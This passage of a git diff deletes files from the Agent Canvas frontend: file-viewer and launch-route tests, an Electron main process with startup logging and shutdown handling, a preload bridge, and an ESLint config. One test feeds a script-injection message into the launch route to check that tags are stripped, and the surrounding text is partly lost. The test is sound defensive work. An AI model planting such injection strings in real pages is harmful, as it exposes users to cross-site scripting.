    . - expect( - screen.getByRole("heading", { level: 1, name: "Hello" }), - ).toBeInTheDocument(); - expect(screen.getByText("bold").tagName.toLowerCase()).toBe("strong"); - // Markdown rendering uses MarkdownRenderer, not an iframe. - expect( - screen.queryByTestId("file-content-viewer-iframe"), - ).not.toBeInTheDocument(); - // The rich-rendered markdown container is mounted. - expect( - screen.getByTestId("file-content-viewer-markdown"), - ).toBeInTheDocument(); - }); - - it("shows highlighted source (not rich markdown) when toggled to plain on a .md", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - useWorkspaceFilesMock.mockReturnValue({ - data: ["README.md"], - isLoading: false, - }); - useWorkspaceFileContentMock.mockReturnValue({ - data: { - path: "README.md", - kind: "text", - text: "# Hello\n\nSome **bold** text", - staticUrl: - "http://localhost:3000/api/conversations/c1/workspace/README.md", - mimeType: "text/markdown", - }, - isLoading: false, - isError: false, - }); - const user = userEvent.setup(); - - renderTab(); - - // Toggle to plain — markdown source should now be syntax-highlighted - // as `markdown`, not rendered. - await user.click( - screen.getByTestId("files-tab-content-mode-toggle-option-plain"), - ); - - const highlighted = await screen.findByTestId( - "file-content-viewer-highlighted", - ); - expect(highlighted.getAttribute("data-language")).toBe("markdown"); - // Confirm the rich-rendered

    is gone. - expect( - screen.queryByRole("heading", { level: 1, name: "Hello" }), - ).not.toBeInTheDocument(); - }); - - it("uses the workspace fileserver URL as the iframe src for HTML files", async () => { - useHasAttachedSourceMock.mockReturnValue({ - hasAttachedSource: false, - isLoading: false, - }); - useWorkspaceFilesMock.mockReturnValue({ - data: ["index.html"], - isLoading: false, - }); - const staticUrl = - "https://agent.example.com/api/conversations/conv-1/workspace/index.html"; - useWorkspaceFileContentMock.mockReturnValue({ - data: { - path: "index.html", - kind: "text", - text: "hi", - staticUrl, - mimeType: "text/html", - }, - isLoading: false, - isError: false, - }); - - renderTab(); - - const iframe = await screen.findByTestId("file-content-viewer-iframe"); - expect(iframe).toBeInTheDocument(); - // The iframe src points at the workspace fileserver so relative - // asset references (`` etc.) resolve to - // sibling files. The `?v=` suffix is the - // cache-buster appended by the viewer so the browser re-fetches - // after each agent-side edit. - expect(iframe).toHaveAttribute("src", `${staticUrl}?v=0`); - // The iframe is sandboxed with `allow-same-origin` only: `Safe text'; - - renderLaunchRoute( - `?plugins=${encoded}&message=${encodeURIComponent(maliciousMessage)}`, - ); - - // Script tags should be stripped (text content preserved but safe as plain text) - expect(screen.queryByText(/ - - diff --git a/electron/main.mjs b/electron/main.mjs deleted file mode 100644 index 3f2e5eb6f..000000000 --- a/electron/main.mjs +++ /dev/null @@ -1,739 +0,0 @@ -/** - * Electron Main Process — Agent Canvas Desktop - * - * Starts the full Agent Canvas stack (agent-server + automation via uvx, - * static frontend, ingress proxy), then opens a native BrowserWindow once - * the ingress is ready. Shows a loading screen while backends start. - * - * Path layout (electron-builder uses directories.app: 'electron'): - * - * Packaged (macOS example): - * Contents/Resources/app/ ← __dirname (main.mjs lives here) - * main.mjs - * loading.html - * scripts/ ← copied from repo scripts/ - * config/ ← copied from repo config/ - * build/ ← static frontend - * Contents/Resources/bin/ ← process.resourcesPath/bin - * uv uvx ← bundled via extraResources - * - * Dev (npm run desktop → electron electron/main.mjs): - * electron/main.mjs ← __dirname = /electron/ - * scripts/ config/ build/ ← one level up: / - * system uvx from PATH - * - * When packaged, scripts/config/build are siblings of main.mjs so - * projectRoot === __dirname. In dev they are one level up. - */ - -import { - app, - BrowserWindow, - clipboard, - dialog, - ipcMain, - nativeImage, - nativeTheme, - shell, -} from "electron"; -import { chmodSync, existsSync } from "node:fs"; -import { dirname, join } from "node:path"; -import { fileURLToPath, pathToFileURL } from "node:url"; -import { spawnSync } from "node:child_process"; - -const __filename = fileURLToPath(import.meta.url); -const __dirname = dirname(__filename); - -// ── Path resolution ─────────────────────────────────────────────────────────── -// Packaged (directories.app: 'electron'): scripts/config/build are SIBLINGS of -// main.mjs inside Resources/app/, so projectRoot === __dirname. -// Dev (electron electron/main.mjs): those directories are one level UP in the -// repo root, so projectRoot === join(__dirname, '..'). - -const projectRoot = app.isPackaged ? __dirname : join(__dirname, ".."); -const buildDir = join(projectRoot, "build"); -const scriptsDir = join(projectRoot, "scripts"); - -// 1024×1024 OpenHands raised-hands app icon. Used as the BrowserWindow.icon -// option for the Linux taskbar and the Windows title bar / taskbar. On macOS -// the dock icon comes from the .app bundle's icon.icns (generated by -// electron-builder from this same PNG), so this path is unused there. -// In dev mode (`npm run desktop`), __dirname is /electron and the file -// lives next to main.mjs. In a packaged build, electron-builder copies -// build-resources/icon.png into Resources/app/ via the `files:` array. -const appIconPath = join(__dirname, "build-resources", "icon.png"); - -// ── Bundled uv ──────────────────────────────────────────────────────────────── - -/** - * Inject the bundled uv binary into PATH so that uvx calls inside - * dev-with-automation.mjs resolve to our bundled binary. - * No-op in dev mode (falls back to system uv). - */ -function injectBundledUv() { - if (!app.isPackaged) return; - - const isWin = process.platform === "win32"; - const uvName = isWin ? "uv.exe" : "uv"; - const uvxName = isWin ? "uvx.exe" : "uvx"; - const binDir = join(process.resourcesPath, "bin"); - const uvPath = join(binDir, uvName); - - // We only probe for `uv` here — `uv` and `uvx` ship together in the - // bundle (`download-uv.mjs` writes both), so if `uv` is present we - // assume `uvx` is too. `uvxAvailable()` is called separately by - // start-up code to confirm the resolved binary actually runs. - if (!existsSync(uvPath)) { - console.warn("[desktop] Bundled uv not found at", uvPath); - return; - } - - // electron-builder copies files without preserving the +x bit on Unix. - if (!isWin) { - try { - chmodSync(uvPath, 0o755); - const uvxPath = join(binDir, uvxName); - if (existsSync(uvxPath)) chmodSync(uvxPath, 0o755); - } catch {} - } - - const sep = isWin ? ";" : ":"; - process.env.PATH = `${binDir}${sep}${process.env.PATH ?? ""}`; - console.log("[desktop] Injected bundled uv from", binDir); -} - -/** - * Verify uvx is reachable (either bundled or system). - * Returns true/false — callers show a dialog on false. - */ -function uvxAvailable() { - const cmd = process.platform === "win32" ? "uvx.exe" : "uvx"; - const r = spawnSync(cmd, ["--version"], { stdio: "pipe" }); - return r.status === 0; -} - -/** - * Inject the bundled Node.js distribution into PATH so subsequent spawns - * can find `node`, `npm`, and `npx`. - * - * When the app runs as a packaged .app on macOS, the system PATH is minimal - * (/usr/bin:/bin only) — Homebrew, nvm, asdf etc. installs of Node are - * invisible. Two breakages flow from that: - * - * 1. The dev-with-automation.mjs stack spawns `node scripts/ingress.mjs` - * and `node scripts/static-server.mjs`; if `node` is not found those - * processes fail silently and port 8000 never responds. - * 2. Most stdio MCP marketplace entries (Slack, GitHub, Figma, etc.) - * use `command: "npx"`. When the agent-server tries to spawn one the - * missing `npx` makes the spawn fail with ENOENT; the SDK reports it - * as an `error_kind: "connection"` MCP test failure, surfaced in the - * install modal as "Could not reach the server". - * - * We tried bridging via Electron-as-Node (ELECTRON_RUN_AS_NODE=1) wrappers - * first. That fixed the ENOENT but introduced a new failure: stdio MCP - * servers spawned through the wrapper exited with "McpError: Connection - * closed" before the JSON-RPC handshake completed. Electron-as-Node is - * fine for our networking helper scripts but its stdin/stdout semantics - * differ enough from a vanilla `node` binary that stdio JSON-RPC servers - * are not reliable under it. The robust fix is to ship a real Node.js - * runtime as an extraResource (see scripts/download-node.mjs and the - * `resources/node/` entry in electron-builder.config.mjs) and just put - * its bin dir on PATH. - * - * No-op in dev mode (`npm run desktop`): the user's terminal PATH already - * has Node tooling and `app.isPackaged` is false. If the bundled dir is - * somehow missing (e.g. the download step was skipped during packaging), - * we log a loud warning and leave PATH untouched so the failure mode is - * obvious in the console rather than confusing downstream. - */ -function injectBundledNode() { - if (!app.isPackaged) return; - - const isWin = process.platform === "win32"; - const nodeRoot = join(process.resourcesPath, "node"); - // POSIX Node distributions put binaries in bin/; Windows zips put node.exe - // and the npm.cmd / npx.cmd wrappers at the distribution root. - const binDir = isWin ? nodeRoot : join(nodeRoot, "bin"); - const nodeExe = isWin ? join(nodeRoot, "node.exe") : join(binDir, "node"); - - if (!existsSync(nodeExe)) { - console.warn( - `[desktop] Bundled Node.js not found at ${nodeExe} — backend ` + - "scripts and stdio MCP servers will fail. Run `npm run download-node` " + - "and rebuild.", - ); - return; - } - - // electron-builder doesn't always preserve the +x bit on POSIX. node, npm, - // and npx need to be executable for shell PATH lookup to consider them. - if (!isWin) { - const required = ["node", "npm", "npx"]; - for (const name of required) { - const p = join(binDir, name); - try { - if (existsSync(p)) chmodSync(p, 0o755); - } catch { - // best-effort: a stale read-only mount or test fixture is fine to skip - } - } - } - - const sep = isWin ? ";" : ":"; - process.env.PATH = `${binDir}${sep}${process.env.PATH ?? ""}`; - console.log("[desktop] Injected bundled Node from", binDir); -} - -// ── Readiness polling ───────────────────────────────────────────────────────── - -/** - * Wait until `url` responds at all (status < 500). Used to confirm the - * ingress proxy is bound — not a guarantee that the agent-server behind it - * is ready. Use {@link waitForAgentServer} for that. - */ -async function waitForUrl(url, timeoutMs = 120_000, intervalMs = 600) { - const deadline = Date.now() + timeoutMs; - while (Date.now() < deadline) { - try { - const res = await fetch(url, { signal: AbortSignal.timeout(2000) }); - if (res.status < 500) return; - } catch {} - await new Promise((r) => setTimeout(r, intervalMs)); - } - throw new Error( - `Timed out waiting for ${url} to become ready (${timeoutMs / 1000}s).`, - ); -} - -/** - * Wait until `url` returns HTTP 200 — meaning the agent-server itself is - * serving requests, not just that the ingress proxy is up. - * - * On first launch, `uvx` has to download a Python toolchain and install - * `openhands-agent-server` and its workspace deps from PyPI, which can - * easily take a few minutes on a slow network. We poll the route end-to-end - * (through ingress on port 8000, so a missing or restarted ingress is also - * caught) instead of just probing the static-server fallback that - * `waitForUrl` would accept. - */ -async function waitForAgentServer( - url = "http://localhost:8000/server_info", - timeoutMs = 10 * 60_000, - intervalMs = 1_000, -) { - const deadline = Date.now() + timeoutMs; - while (Date.now() < deadline) { - try { - const res = await fetch(url, { signal: AbortSignal.timeout(2000) }); - // Only 200 is success here. 502 from ingress means the upstream agent - // server isn't bound yet; 401 means auth is required and the bundled - // key didn't reach us — we still treat that as "the agent server is - // up", because the proxy got a real HTTP response from it. - if (res.status === 200 || res.status === 401) return; - } catch { - // Transient network / DNS / timeout — keep polling until the deadline. - } - await new Promise((r) => setTimeout(r, intervalMs)); - } - throw new Error( - `Agent server at ${url} never came up (${Math.round(timeoutMs / 1000)}s). ` + - "Check the terminal log for errors from uvx / the agent-server process.", - ); -} - -// ── Windows ─────────────────────────────────────────────────────────────────── - -let loadingWin = null; -let mainWin = null; - -// Collapsed splash size — loading.html's .container height must match. The -// expanded height reveals the startup-log console below it ("Show details"). -const LOADING_WIN_WIDTH = 460; -const LOADING_WIN_HEIGHT = 360; -const LOADING_WIN_EXPANDED_HEIGHT = 560; - -/** - * Grow or shrink the loading window to reveal/hide the startup-log console. - * Keeps the top edge fixed so the splash content doesn't jump. Invoked from - * the renderer ("Show details" toggle) and from showStartupFailure(). - */ -function setLoadingWindowExpanded(expanded) { - if (!loadingWin || loadingWin.isDestroyed()) return; - const bounds = loadingWin.getBounds(); - const height = expanded ? LOADING_WIN_EXPANDED_HEIGHT : LOADING_WIN_HEIGHT; - if (bounds.height === height) return; - // macOS ignores programmatic resizes of resizable:false windows on some - // Electron versions — lift the flag around the change. - loadingWin.setResizable(true); - loadingWin.setBounds({ ...bounds, height }, true); - loadingWin.setResizable(false); -} - -function createLoadingWindow() { - loadingWin = new BrowserWindow({ - width: LOADING_WIN_WIDTH, - // Tall enough to fit the streaming status line + the "first launch can - // take a few minutes" hint without scrollbars. - height: LOADING_WIN_HEIGHT, - resizable: false, - frame: false, - center: true, - show: false, - // Pre-paint window color; must match --oh-background in loading.html. - backgroundColor: "#0b0e14", - icon: appIconPath, - webPreferences: { - nodeIntegration: false, - contextIsolation: true, - // Bridges the startup-log console over IPC (see preload.cjs). - preload: join(__dirname, "preload.cjs"), - }, - }); - - // The renderer can only receive IPC once the page has loaded — replay the - // lines buffered until now, then stream live batches (see appendBootLog). - loadingWin.webContents.on("did-finish-load", () => { - if (!loadingWin || loadingWin.isDestroyed()) return; - clearTimeout(bootLogFlushTimer); - bootLogFlushTimer = null; - bootLogPending = []; - if (bootLog.length) { - loadingWin.webContents.send("boot-log:batch", bootLog.slice()); - } - bootLogReady = true; - if (fatalSummary) { - loadingWin.webContents.send("boot-log:fatal", fatalSummary); - } - }); - - loadingWin.loadFile(join(__dirname, "loading.html")); - loadingWin.once("ready-to-show", () => loadingWin?.show()); -} - -function createMainWindow() { - mainWin = new BrowserWindow({ - width: 1440, - height: 900, - minWidth: 800, - minHeight: 600, - show: false, - // App-shell background (--oh-background in src/index.css) — avoids white - // flashes during the show → maximize repaint after the splash closes. - backgroundColor: "#0b0e14", - titleBarStyle: process.platform === "darwin" ? "hiddenInset" : "default", - icon: appIconPath, - webPreferences: { - nodeIntegration: false, - contextIsolation: true, - }, - }); - - mainWin.loadURL("http://localhost:8000"); - - mainWin.once("ready-to-show", () => { - loadingWin?.destroy(); - loadingWin = null; - mainWin?.show(); - mainWin?.maximize(); - }); - - // Route window.open() calls appropriately. - mainWin.webContents.setWindowOpenHandler(({ url }) => { - // The "Login with OpenHands Cloud" device-flow opens about:blank immediately - // on the user's click (to beat popup blockers), then navigates the popup to - // the OAuth verification URL once it has one. We must allow about:blank - // through so window.open() returns a non-null WindowProxy; the did-create-window - // handler below redirects the popup to the system browser when it navigates. - if (url === "about:blank") { - return { - action: "allow", - overrideBrowserWindowOptions: { width: 800, height: 700 }, - }; - } - // All other external URLs open directly in the system browser. - if ( - !url.startsWith("http://localhost") && - !url.startsWith("http://127.0.0.1") - ) { - shell.openExternal(url); - return { action: "deny" }; - } - return { action: "allow" }; - }); - - // When the renderer opens a popup (the about:blank above), watch for its - // first navigation away from about:blank. That navigation will be to the - // OAuth verification URL — open it in the system browser and close the - // now-unneeded Electron popup. - mainWin.webContents.on("did-create-window", (popupWin) => { - popupWin.webContents.on("will-navigate", (_event, url) => { - if ( - url !== "about:blank" && - !url.startsWith("http://localhost") && - !url.startsWith("http://127.0.0.1") - ) { - _event.preventDefault(); - shell.openExternal(url); - popupWin.close(); - } - }); - }); - - mainWin.on("closed", () => { - mainWin = null; - }); -} - -// ── Startup log buffer ──────────────────────────────────────────────────────── -// -// Every service log line (all services, all levels, sanitized) is kept in a -// bounded buffer and streamed to the loading window's console in batches over -// IPC (see preload.cjs + loading.html). The buffer is the single source of -// truth: it is replayed once the page loads (lines emitted earlier would -// otherwise be lost) and it backs the "Copy logs" action. In a packaged app -// this console is the only log surface — stdout/stderr go to /dev/null when -// launched from Finder, and the winston file logger is a no-op there (see -// AGENTS.md on the node_modules strip). - -const BOOT_LOG_MAX_LINES = 2000; -const BOOT_LOG_FLUSH_MS = 200; - -const bootLog = []; // {name, line, level}[] — level: stdout|stderr|info|warn|error -let bootLogPending = []; -let bootLogFlushTimer = null; -let bootLogReady = false; // true once loading.html has loaded and can receive -let fatalSummary = null; - -// SGR color codes AND cursor-control CSI sequences (uv/uvicorn can emit -// either when they mis-detect a TTY). -const ANSI_CSI_RE = /\x1b\[[0-9;?]*[ -/]*[@-~]/g; - -/** - * Strip ANSI escapes and reduce carriage-return progress redraws (e.g. uv - * download bars arrive as one chunk of "\r"-separated frames) to the final - * frame — what a real terminal would have settled on. - */ -function sanitizeLogLine(line) { - const frames = String(line ?? "") - .replace(ANSI_CSI_RE, "") - .split("\r") - .map((s) => s.trim()) - .filter(Boolean); - return frames.length ? frames[frames.length - 1] : ""; -} - -function appendBootLog(name, line, level) { - const entry = { name, line, level }; - bootLog.push(entry); - if (bootLog.length > BOOT_LOG_MAX_LINES) { - bootLog.splice(0, bootLog.length - BOOT_LOG_MAX_LINES); - } - bootLogPending.push(entry); - if (!bootLogFlushTimer) { - bootLogFlushTimer = setTimeout(flushBootLog, BOOT_LOG_FLUSH_MS); - } -} - -function flushBootLog() { - clearTimeout(bootLogFlushTimer); - bootLogFlushTimer = null; - if (!bootLogPending.length) return; - const batch = bootLogPending; - bootLogPending = []; - // Not ready / window gone: drop the batch — the entries stay in bootLog, - // which did-finish-load replays wholesale. - if (bootLogReady && loadingWin && !loadingWin.isDestroyed()) { - loadingWin.webContents.send("boot-log:batch", batch); - } -} - -/** - * Switch the splash into its failure state: expand the console and show the - * error summary with Copy logs / Quit actions, keeping the window open so the - * user can actually read why startup failed. Returns false when the loading - * window is gone (caller falls back to a native dialog). - */ -function showStartupFailure(summary) { - if (!loadingWin || loadingWin.isDestroyed()) return false; - fatalSummary = summary; - setLoadingWindowExpanded(true); - if (bootLogReady) { - flushBootLog(); - loadingWin.webContents.send("boot-log:fatal", summary); - } - // If the page hasn't loaded yet, did-finish-load replays the buffer and - // then delivers fatalSummary. - return true; -} - -// IPC surface for the loading window (see preload.cjs). Guarded to that -// window's webContents so the main app window can never reach these. -function isLoadingWinEvent(event) { - return ( - loadingWin !== null && - !loadingWin.isDestroyed() && - event.sender === loadingWin.webContents - ); -} - -ipcMain.handle("boot-log:set-expanded", (event, expanded) => { - if (!isLoadingWinEvent(event)) return; - setLoadingWindowExpanded(Boolean(expanded)); -}); - -ipcMain.handle("boot-log:copy", (event) => { - if (!isLoadingWinEvent(event)) return 0; - clipboard.writeText(bootLog.map((e) => `[${e.name}] ${e.line}`).join("\n")); - return bootLog.length; -}); - -// The frameless splash has no close control; the failure state shows a Quit -// button instead. -ipcMain.handle("boot-log:quit", (event) => { - if (!isLoadingWinEvent(event)) return; - app.quit(); -}); - -// ── Backend stack ───────────────────────────────────────────────────────────── - -/** - * Update the status line on the loading window, if it's still alive. - * - * The loading screen exposes a global `window.__setLoadingStatus(line)` - * function (see loading.html) that swaps the status text. We call it via - * `executeJavaScript` so no preload script / IPC plumbing is needed. - * - * Best-effort: any failure (window destroyed, JS not loaded yet, etc.) is - * swallowed — this is purely a UX nicety and must never crash the launcher. - */ -function setLoadingStatus(line) { - if (!loadingWin || loadingWin.isDestroyed()) return; - // Limit to a single line, max ~120 chars, to keep the splash readable. - const oneLine = String(line ?? "") - .replace(/\s+/g, " ") - .trim() - .slice(0, 120); - if (!oneLine) return; - const safe = JSON.stringify(oneLine); - loadingWin.webContents - .executeJavaScript( - `window.__setLoadingStatus && window.__setLoadingStatus(${safe});`, - true, - ) - .catch(() => {}); -} - -/** - * Phase marker: headline + a line in the startup-log console, so the log - * records which stage a failed boot died in. - */ -function setBootPhase(message) { - appendBootLog("desktop", message, "info"); - setLoadingStatus(message); -} - -/** - * Last few `level: "error"` service log lines (spawn failures, non-zero - * exits). Appended to the startup-failure dialog: a packaged app launched - * from Finder has stdout/stderr wired to /dev/null, so without this a - * crashed ingress/static-server surfaces only as an opaque "timed out - * waiting for http://localhost:8000" message. - */ -const recentServiceErrors = []; - -/** - * Forward dev-stack service log lines to (a) the loading screen and (b) the - * terminal log. The terminal already receives them via `logService`; we add - * a tee here so the user can see what's happening on first launch when uvx - * is downloading Python + agent-server. - */ -function handleServiceLog(name, line, level) { - if (!line) return; - const clean = sanitizeLogLine(line); - if (!clean) return; - // Full-fidelity stream: every service and level goes to the console buffer. - // The one-line headline below stays filtered to the interesting services. - appendBootLog(name, clean, level); - if (name === "agent-server" || name === "automation") { - setLoadingStatus(`${name}: ${clean}`); - } - // Mirror errors to a `[desktop]` terminal line so dev runs stay grep-friendly. - if (level === "error") { - console.error(`[desktop] [${name}] ${clean}`); - // Errors from ANY service (including ingress/static, which the headline - // filter above skips) are worth showing — a dead ingress is exactly the - // case where the user would otherwise stare at a silent 120 s timeout. - setLoadingStatus(`${name}: ${clean}`); - recentServiceErrors.push(`${name}: ${clean}`); - if (recentServiceErrors.length > 5) recentServiceErrors.shift(); - } -} - -async function startStack() { - const entryUrl = pathToFileURL( - join(scriptsDir, "dev-with-automation.mjs"), - ).href; - const { main } = await import(entryUrl); - - // main() starts agent-server + automation backend + static server + ingress. - // skipNpmCheck: npm is not needed at runtime in static mode. - // agentServerReadyTimeoutMs: dev defaults to 60 s (warm uvx cache); a - // packaged binary on a fresh machine can spend several minutes inside - // uvx the first time, downloading Python + installing openhands- - // agent-server from PyPI. 10 minutes is generous but bounded. - // onServiceLog: stream uvx/agent-server output to the loading window so - // the user sees progress instead of an indefinite spinner. - const result = await main({ - bannerTitle: "Agent Canvas", - staticMode: true, - staticDir: buildDir, - mode: "agent-canvas", - isPublic: false, - skipNpmCheck: true, - agentServerReadyTimeoutMs: 10 * 60_000, - onServiceLog: handleServiceLog, - }); - - // main() returns { config, agentServerReady } — treat a timeout as a fatal - // startup error so the splash shows a clear dialog instead of dropping the - // user into a half-booted UI that will only emit "Request timeout" popups. - if (result?.agentServerReady === false) { - throw new Error( - "The agent server did not finish starting in time. " + - "On first launch this can take several minutes while uvx downloads " + - "Python and the OpenHands agent-server from PyPI. " + - "Check your internet connection and try again.", - ); - } -} - -// ── App lifecycle ───────────────────────────────────────────────────────────── - -app.whenReady().then(async () => { - nativeTheme.themeSource = "dark"; - - // Set the dock icon explicitly on macOS so `npm run desktop` shows the - // OpenHands logo instead of the default Electron logo. In a packaged - // build the .app bundle's icon.icns already provides this, but - // app.dock.setIcon() is a cheap idempotent override that also fixes - // the dev workflow. - if (process.platform === "darwin" && app.dock && existsSync(appIconPath)) { - app.dock.setIcon(nativeImage.createFromPath(appIconPath)); - } - - injectBundledUv(); - injectBundledNode(); - - if (!uvxAvailable()) { - dialog.showErrorBox( - "Missing prerequisite: uv", - app.isPackaged - ? "The bundled uv binary could not be found. Please reinstall Agent Canvas." - : "uv (uvx) is not installed.\n\nInstall it from https://docs.astral.sh/uv/ then restart.", - ); - app.quit(); - return; - } - - createLoadingWindow(); - - try { - setBootPhase("Starting backend services…"); - await startStack(); - - // Stage 1: ingress proxy is bound (anything < 500 on /). - setBootPhase("Waiting for proxy…"); - await waitForUrl("http://localhost:8000"); - - // Stage 2: the agent-server behind the proxy is actually serving - // requests. `startStack()` already waited for this internally, but we - // re-probe end-to-end here so that if the user closes the splash race - // window between processes binding, we still open the main window with - // a live backend. Cheap (a single 200 response) when everything is up. - setBootPhase("Connecting to agent server…"); - await waitForAgentServer("http://localhost:8000/server_info", 60_000); - - setBootPhase("Ready."); - createMainWindow(); - } catch (err) { - const summary = - err.message + - " Ensure ports 8000, 18000, and 18001 are free, then try again."; - // Record the failure in the terminal and the startup-log buffer so it - // shows (and copies) as the final console line. - console.error("[desktop] Startup failed:", err); - appendBootLog("desktop", summary, "error"); - // Keep the splash open in its failure state so the full startup log can - // be read and copied; the app quits via the splash's Quit button (or - // Cmd+Q / closing the window). - if (showStartupFailure(summary)) return; - // Loading window already gone — fall back to the old dialog-and-quit. - const errorTail = recentServiceErrors.length - ? `\n\nRecent service errors:\n${recentServiceErrors.join("\n")}` - : ""; - dialog.showErrorBox("Agent Canvas failed to start", summary + errorTail); - app.quit(); - } -}); - -// ── Graceful shutdown ───────────────────────────────────────────────────────── -// -// dev-with-automation.mjs spawns the backend processes with detached:true so -// they form their own OS process groups and survive the parent's death by -// default. We must explicitly kill them when the app quits. -// -// createShutdownHookRegistry (dev-process-utils.mjs) already registered a -// SIGTERM handler that iterates every tracked process, calls signalProcessTree -// on its group, waits for exit, then calls process.exit(0). We just need to -// fire that handler before Electron lets the process die. -// -// Flow: -// user closes window / Cmd+Q -// → window-all-closed → app.quit() -// → before-quit fires (first time) → we preventDefault + send SIGTERM -// → SIGTERM handler kills all children, calls process.exit(0) -// → before-quit fires again (cleanupStarted=true) → we return, Electron exits -// -// Windows has no real POSIX signals: process.kill(pid, "SIGTERM") would -// terminate this process WITHOUT running the "SIGTERM" listener, skipping -// cleanup and orphaning the children on ports 8000/18000/18001 (the next -// launch then fails at startup). process.emit("SIGTERM") runs the same -// registered handler in-process instead. - -let cleanupStarted = false; - -app.on("before-quit", (event) => { - if (cleanupStarted) return; // SIGTERM cleanup already running — allow exit - - cleanupStarted = true; - event.preventDefault(); - - console.log("[desktop] Stopping backend services…"); - if (process.platform === "win32") { - // Run the cleanup handler in-process (see header note). emit() returns - // false when no listener is registered — the stack never started, so - // there is nothing to clean up and we can exit immediately. - if (!process.emit("SIGTERM")) app.exit(0); - } else { - process.kill(process.pid, "SIGTERM"); - } - - // Safety net: if the SIGTERM handler doesn't finish within 6 s, force-quit. - const t = setTimeout(() => { - console.warn("[desktop] Cleanup timed out — forcing exit"); - app.exit(0); - }, 6000); - if (t.unref) t.unref(); -}); - -app.on("window-all-closed", () => { - app.quit(); -}); - -// macOS: clicking the dock icon when no window is open re-launches the app. -app.on("activate", () => { - if (BrowserWindow.getAllWindows().length === 0) { - // The backend is already running — just open a new renderer window. - if (mainWin === null) createMainWindow(); - } -}); diff --git a/electron/package.json b/electron/package.json deleted file mode 100644 index 09b0c7b07..000000000 --- a/electron/package.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "name": "agent-canvas", - "version": "1.0.0", - "private": true, - "main": "main.mjs" -} diff --git a/electron/preload.cjs b/electron/preload.cjs deleted file mode 100644 index 3c8a1fa87..000000000 --- a/electron/preload.cjs +++ /dev/null @@ -1,31 +0,0 @@ -/** - * Preload for the loading window (loading.html). - * - * Bridges the startup-log console to the main process over IPC while keeping - * contextIsolation (and the default renderer sandbox) intact. The one-line - * status headline intentionally does NOT go through here — main.mjs sets it - * via executeJavaScript → window.__setLoadingStatus (see setLoadingStatus). - * - * CommonJS on purpose: sandboxed preload scripts cannot use ESM. - */ -const { contextBridge, ipcRenderer } = require("electron"); - -contextBridge.exposeInMainWorld("desktopBoot", { - /** Subscribe to batched startup-log lines: cb([{name, line, level}, …]). */ - onLogBatch(cb) { - if (typeof cb !== "function") return; - ipcRenderer.on("boot-log:batch", (_event, batch) => cb(batch)); - }, - /** Subscribe to the fatal startup-failure notification: cb(summary). */ - onFatal(cb) { - if (typeof cb !== "function") return; - ipcRenderer.on("boot-log:fatal", (_event, summary) => cb(summary)); - }, - /** Grow/shrink the window to reveal or hide the console panel. */ - setDetailsExpanded: (expanded) => - ipcRenderer.invoke("boot-log:set-expanded", Boolean(expanded)), - /** Copy the full buffered startup log to the clipboard. */ - copyLogs: () => ipcRenderer.invoke("boot-log:copy"), - /** Quit the app (failure-state action; the frameless splash has no close UI). */ - quit: () => ipcRenderer.invoke("boot-log:quit"), -}); diff --git a/eslint.config.js b/eslint.config.js deleted file mode 100644 index 0469eabf8..000000000 --- a/eslint.config.js +++ /dev/null @@ -1,325 +0,0 @@ -// Flat ESLint config (ESLint 9+). -// -// Migration notes (see commit history for full context): -// - Replaces the legacy `.eslintrc` file, which ESLint 9 deprecated and -// ESLint 10 will remove entirely. -// - Drops `eslint-config-airbnb` / `eslint-config-airbnb-typescript`: they -// pin ESLint to v7/v8 and `@typescript-eslint/*` to v7, so they block any -// future ESLint major bumps. The opinionated airbnb rules the codebase -// actually leaned on (no-param-reassign, import/extensions, etc.) are -// re-declared explicitly below, and the long list of airbnb rules the old -// config already turned off has just been deleted instead of re-disabled. -// - Replaces `eslint-plugin-import` (only declares an `^8 || ^9` peer) with -// the actively-maintained, flat-config-native fork `eslint-plugin-import-x`. -// The rule names are kept under the `import/` prefix below to minimise -// churn on existing `// eslint-disable-next-line import/...` comments. -// - `eslint-plugin-i18next` still ships only legacy config, so it is pulled -// in via `FlatCompat` from `@eslint/eslintrc`. -// - Targets ESLint 9, not 10. The original dependabot PR proposed eslint@10, -// but as of this commit `eslint-plugin-react` still calls -// `context.getFilename()` (removed in ESLint 10) at rule-load time, which -// makes a v10 bump explode on every file. Re-evaluate once that plugin -// ships an ESLint-10-compatible release. - -import { fileURLToPath } from "node:url"; -import path from "node:path"; - -import { FlatCompat } from "@eslint/eslintrc"; -import js from "@eslint/js"; -import tsParser from "@typescript-eslint/parser"; -import tsPlugin from "@typescript-eslint/eslint-plugin"; -import reactPlugin from "eslint-plugin-react"; -import reactHooksPlugin from "eslint-plugin-react-hooks"; -import jsxA11yPlugin from "eslint-plugin-jsx-a11y"; -import importXPlugin from "eslint-plugin-import-x"; -import prettierPlugin from "eslint-plugin-prettier"; -import prettierConfig from "eslint-config-prettier"; -import unusedImportsPlugin from "eslint-plugin-unused-imports"; -import tanstackQueryPlugin from "@tanstack/eslint-plugin-query"; -import globals from "globals"; - -const __filename = fileURLToPath(import.meta.url); -const __dirname = path.dirname(__filename); - -const compat = new FlatCompat({ - baseDirectory: __dirname, - resolvePluginsRelativeTo: __dirname, -}); - -export default [ - // Files / dirs we never want to lint. - { - ignores: [ - "node_modules/**", - "dist/**", - "build/**", - "coverage/**", - ".react-router/**", - "playwright-report/**", - "playwright-report-live/**", - "test-results/**", - "test-results-live/**", - "public/mockServiceWorker.js", - "src/i18n/declaration.d.ts", - ], - }, - - // Base JS recommended rules. - js.configs.recommended, - - // `eslint-plugin-import-x` ships flat configs directly. The rules are - // registered under both `import-x/*` and `import/*` aliases so existing - // `// eslint-disable-next-line import/*` comments still match. - importXPlugin.flatConfigs.recommended, - importXPlugin.flatConfigs.typescript, - - // `eslint-plugin-i18next` is still eslintrc-only — pull it in via compat. - ...compat.extends("plugin:i18next/recommended"), - - // Project-wide settings + React/TS/etc. rules for source files. - { - files: ["**/*.{ts,tsx,js,jsx,mjs,cjs}"], - // Surface (but don't fail on) `// eslint-disable-next-line ...` directives - // that target rules this config no longer enables. The codebase has ~50 - // such directives left over from the airbnb era; "warn" lets us clean - // them up incrementally instead of either failing CI on day one or - // letting new stale directives accumulate silently. - linterOptions: { - reportUnusedDisableDirectives: "warn", - }, - languageOptions: { - ecmaVersion: "latest", - sourceType: "module", - parser: tsParser, - parserOptions: { - project: "./tsconfig.json", - ecmaFeatures: { jsx: true }, - }, - globals: { - ...globals.browser, - ...globals.node, - ...globals.es2024, - }, - }, - plugins: { - "@typescript-eslint": tsPlugin, - react: reactPlugin, - 